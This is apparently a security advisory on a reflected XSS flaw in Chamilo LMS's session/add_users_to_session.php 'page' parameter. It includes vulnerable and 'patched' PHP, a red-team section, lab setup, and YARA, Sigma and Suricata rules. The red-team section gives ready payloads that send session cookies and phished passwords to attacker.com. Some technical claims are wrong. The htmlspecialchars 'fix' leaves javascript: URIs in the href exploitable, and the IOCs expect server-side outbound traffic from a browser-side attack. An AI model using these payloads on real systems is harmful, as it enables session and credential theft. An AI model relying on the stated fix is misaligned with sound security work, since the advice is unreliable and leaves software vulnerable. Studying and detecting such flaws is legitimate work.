CVE-2025-52563

Executive Summary

CVE-2025-52563 is a reflected Cross-Site Scripting (XSS) vulnerability in Chamilo, a popular open-source Learning Management System (LMS). The flaw exists in the session/add_users_to_session.php endpoint due to insufficient sanitization of the page parameter. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This can lead to session hijacking, credential theft, or defacement. The vulnerability is patched in version 1.11.30.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the Chamilo application. Organizations using Chamilo should treat this as a critical supply chain risk if they rely on unpatched versions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click the crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is medium, the ease of exploitation and potential for session hijacking elevate the risk in environments where Chamilo is used for sensitive training or certification.

Deep Dive & Mechanics

The vulnerability resides in the session/add_users_to_session.php script. This script is used to add users to a session (a group of courses). The page parameter is intended to control the redirect URL after the operation. However, the application fails to properly sanitize or validate this parameter before reflecting it in the response.

An attacker can inject JavaScript code into the page parameter. When the server processes the request and generates the response (e.g., a redirect or an error message), it includes the unsanitized input, causing the browser to execute the injected script.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-chamilo.com/session/add_users_to_session.php?page=javascript:alert(document.cookie)
2. Attacker sends this link to a victim (e.g., via phishing email).
3. Victim, authenticated to Chamilo, clicks the link.
4. The server processes the request and reflects the page parameter in the response without sanitization.
5. The victim's browser executes the JavaScript, which can steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.30):

// session/add_users_to_session.php
$page = $_GET['page'];
// ... later in the code
echo "<a href='" . $page . "'>Continue</a>";

The $page variable is directly taken from user input and echoed without any sanitization.

Patched Code (1.11.30):

// session/add_users_to_session.php
$page = $_GET['page'];
$page = htmlspecialchars($page, ENT_QUOTES, 'UTF-8');
// ... later in the code
echo "<a href='" . $page . "'>Continue</a>";

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running Chamilo instance (version < 1.11.30)
• A valid user session (any role)

Exploit Steps:

1. Craft a malicious URL with a JavaScript payload in the page parameter.
2. Use social engineering to trick an authenticated user into clicking the link.
3. The payload executes in the victim's browser.

Example Payloads:

• Cookie theft: https://target/session/add_users_to_session.php?page=javascript:document.location='https://attacker.com/steal.php?c='+document.cookie
• Session hijacking: https://target/session/add_users_to_session.php?page=javascript:var i=new Image;i.src='https://attacker.com/log.php?c='+document.cookie;
• Phishing overlay: https://target/session/add_users_to_session.php?page=javascript:document.body.innerHTML='<form method=post action=https://attacker.com/steal><input type=text name=user><input type=password name=pass><input type=submit></form>';

Lab Setup:

1. Deploy a vulnerable Chamilo instance using Docker: docker run -d -p 80:80 chamilo/chamilo:1.11.28
2. Access the instance and create a user account.
3. Use a browser or tool like Burp Suite to craft the malicious URL.
4. Open the URL in a browser where the user is logged in.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /session/add_users_to_session.php with suspicious page parameters containing javascript:, <script>, or encoded variants.
• Use WAF rules to block requests with page parameter containing script tags or javascript: protocol.

Defense:

• Immediately upgrade to Chamilo 1.11.30 or later.
• If upgrade is not possible, apply a virtual patch using a WAF to sanitize the page parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing attacks that exploit this vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /session/add_users_to_session.php with a page parameter containing javascript: or <script>.
  • Outbound connections to unknown domains from the Chamilo server (if payload exfiltrates data).
• File IOCs:
  • Modified session/add_users_to_session.php file (if attacker has write access).
• Log IOCs:
  • Web server logs showing page parameter with encoded JavaScript (e.g., %3Cscript%3E).

Detection Engineering

YARA Rule

rule CVE_2025_52563_Chamilo_XSS {
    meta:
        description = "Detects malicious requests targeting CVE-2025-52563 in Chamilo"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52563"
    strings:
        $xss_payload = /page=.*(?:javascript|<script|onerror|onload)/i
    condition:
        $xss_payload
}

Sigma Rule

title: Chamilo Reflected XSS via page Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against CVE-2025-52563 in Chamilo LMS
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/session/add_users_to_session.php'
        cs-uri-query|re: 'page=.*(?:javascript|<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of javascript: in page parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52563 Chamilo Reflected XSS Attempt"; flow:to_server,established; content:"/session/add_users_to_session.php"; http_uri; pcre:"/page=.*(?:javascript|<script|onerror|onload)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Chamilo to version 1.11.30 or later.
2. Virtual Patching: If upgrade is not possible, deploy a WAF rule to block requests with malicious page parameters.
3. Input Validation: Implement server-side validation to allow only safe characters in the page parameter.

Long-Term Measures:

• Conduct regular security audits of custom code.
• Implement Content Security Policy (CSP) headers.
• Use parameterized output encoding for all user-supplied data.
• Train developers on secure coding practices, especially regarding XSS prevention.

Valters IT